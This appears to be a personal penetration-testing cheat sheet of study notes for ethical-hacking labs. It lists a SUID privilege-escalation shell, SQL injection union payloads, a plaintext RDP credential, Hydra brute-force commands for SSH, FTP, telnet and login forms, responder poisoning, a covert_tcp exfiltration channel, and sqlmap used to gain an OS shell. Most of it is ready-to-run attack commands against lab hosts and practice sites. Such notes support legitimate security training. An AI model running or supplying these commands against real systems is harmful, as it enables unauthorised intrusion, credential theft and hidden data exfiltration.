

```
find / -type f -perm -u=s 2>/dev/null
```

```
find / -type f -perm -u=s 2>/dev/null (suid)
```

```
/usr/bin/find . -exec /bin/sh -p \; -quit
```

```
Group_concat <sql>
```

```
http://10.10.136.79/item.php?id=5%20union%20select%201,group_concat(column_name),3,4,5%20from%20information_schema.columns%20where%20table_name=%22users%22;
```

```
http://10.10.136.79/item.php?id=5 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name="users";
```

```
Shell gpt
```

```
rdesktop -u SG -p UmbracolIsTheBest! 10.10.41.145
```

```
Net user [for listing users in windows]
```

```
Dvwa
```

```
dvwa-start
```

```
Md5sum
```

```
ssh user@10.10.68.225 -p 65534
```

```
Remmina
```

```
Ftp-data ( wireshark )
```

```
https://localhost:8834 Nessus windows
```

```
nikto -h [url] -Tuning x
```

```
nikto -h certifiedhacker.com -Cgidirs all
```

```
nikto -h certifiedhacker.com -o result -F txt
```

```
responder -l ens33
```

```
\\ceh-tools. Or \\machine ip in search or this pc\
```

COVERT TCP

```
Starting listener
```

```
sudo ./covert_tcp -dest 192.168.18.144 -source 192.168.18.95 -source_port 8888 -dest_port 9999 -server -file /home/user/msg1.txt
```

Sending data

```
sudo ./covert_tcp -dest 192.168.18.144 -source 192.168.18.95 -source_port  
9999 -dest_port 8888 -file /home/kali/msg.txt
```

Telnet. [footprint the webserver]

```
telnet certifiedhacker.com 443  
GET / HTTP/1.0
```

Netcat

```
nc -vv certifiedhacker.com 443  
GET / HTTP/1.0
```

Enumeration Webserver using NSE script

```
nmap -sV --script http-enum certifiedhacker.com
```

Now to enumerate the hostnames use the following script

```
nmap --script hostmap-bft --script-args hostmap.bfk=hostmap-  
certifiedhacker.com
```

http trace scanner

```
nmap --script http-trace certifiedhacker.com
```

Http WAF (Firewall) detection

```
nmap -p 80 --script http-waf-detect certifiedhacker.com
```

```
uniscan -u url -q/-we
```

Footprint the web infrastructure

```
whatweb -v certifiedhacker.com
```

Hydra Brute force cheatsheet

SSH

```
hydra -l username -P passlist.txt 192.168.0.100 ssh
```

FTP

```
hydra -L userlist.txt -P passlist.txt ftp://192.168.0.100
```

If the service isn't running on the default port, use -s
hydra -L userlist.txt -P passlist.txt ftp://192.168.0.100 -s 221

TELNET

hydra -l admin -P passlist.txt -o test.txt 192.168.0.7 telnet

Login form

sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=admin&password=^PASS^:Invalid Password!"

MySQL commands

```
mysql -U qdpmadmin -h 192.168.1.8 -P passwd
show databases;
use qdpm;
show tables'
select * from users;
show dtabases;
use staff;
show tables;
select * from login;
select * from user;
```

To get a shell

```
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --
cookie="mscope=1jwuydl=; ui-tabs-1=0" --os-shell
```

TASKLIST

help

PHONESPLOIT

1. Create a virtual environment (e.g., named 'venv')

```
python3 -m venv venv
```

2. Activate the virtual environment

On Linux/macOS:

```
source venv/bin/activate
```

```
# On Windows:  
# venv\Scripts\activate
```

```
# 3. Once activated, install your requirements  
pip install -r requirements.txt
```

```
# 4. When you're done working on your project, deactivate the environment  
deactivate
```

Entropy value of elf file

```
ent -h / ent evil.elf
```

```
sha384sum evil.elf [file which has high entropy value ]
```